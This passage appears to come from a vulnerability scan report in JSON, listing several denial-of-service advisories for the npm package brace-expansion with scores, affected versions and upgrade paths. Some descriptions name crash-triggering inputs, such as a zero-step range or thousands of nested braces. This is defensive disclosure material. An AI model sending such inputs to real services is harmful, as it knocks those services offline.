"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
